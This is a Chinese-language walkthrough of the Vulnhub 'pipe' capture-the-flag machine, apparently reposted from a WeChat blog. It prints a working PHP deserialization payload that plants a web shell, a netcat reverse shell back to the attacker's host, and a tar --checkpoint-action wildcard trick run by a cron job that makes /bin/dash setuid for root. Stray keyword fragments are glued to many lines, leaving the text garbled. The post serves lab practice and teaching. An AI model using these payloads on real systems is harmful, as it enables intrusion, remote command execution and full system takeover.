【Vulnhub】pipe


nmap 掃描端口php



掃描目錄出來個 scriptzcss



訪問獲得一個 js 一個 bakhtml



訪問下載python

是一個 Log 類,後面析構函數實現了把 data 寫到 filename 裏面linux

public function __destruct()
{
  file_put_contents($this->filename, $this->data, FILE_APPEND);
}


而後構造一個序列化字符串web

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:29:"<?php system($_GET['cmd']);?>";}


url 編碼一下shell

%4f%3a%33%3a%22%4c%6f%67%22%3a%32%3a%7b%73%3a%38%3a%22%66%69%6c%65%6e%61%6d%65%22%3b%73%3a%33%31%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%63%72%69%70%74%7a%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%73%3a%34%3a%22%64%61%74%61%22%3b%73%3a%32%39%3a%22%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%3b%7d


而後給 index.php 發過去,這樣就在 scriptz 目錄下生成一個 shell.php 的一句話api




nc 反彈個 shellbash

http://192.168.149.199/scriptz/shell.php?cmd=nc -e /bin/bash 192.168.149.1 6666微信



打開一個交互的 shell

python -c 'import pty;pty.spawn("/bin/bash")'


因爲在 /home/rene/backup 目錄下有一些備份文件,每分鐘一個,因此可能有啥任務計劃之類的



看一下



其中那個 /usr/bin/compress.sh 能夠讀到,看到他作了這麼些事情



這裏用到了 tar 提權

tar 選項中有一個 --checkpoint-action 當 --checkpoint-action=exec=command 時能夠用來執行命令

當 --checkpoint=1 時能夠用來顯示信息

echo "" > --checkpoint-action=exec=sh\ shell.sh;
echo "" > --checkpoint=1;
echo 'chmod u+s /bin/dash' > shell.sh
chmod 777 shell.sh



而後等着 corn 運行 tar 就能拿到 shell

看着他的 bak 文件多了而後再沒了就差很少了



這時候 /bin/dash 就能夠啦


本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索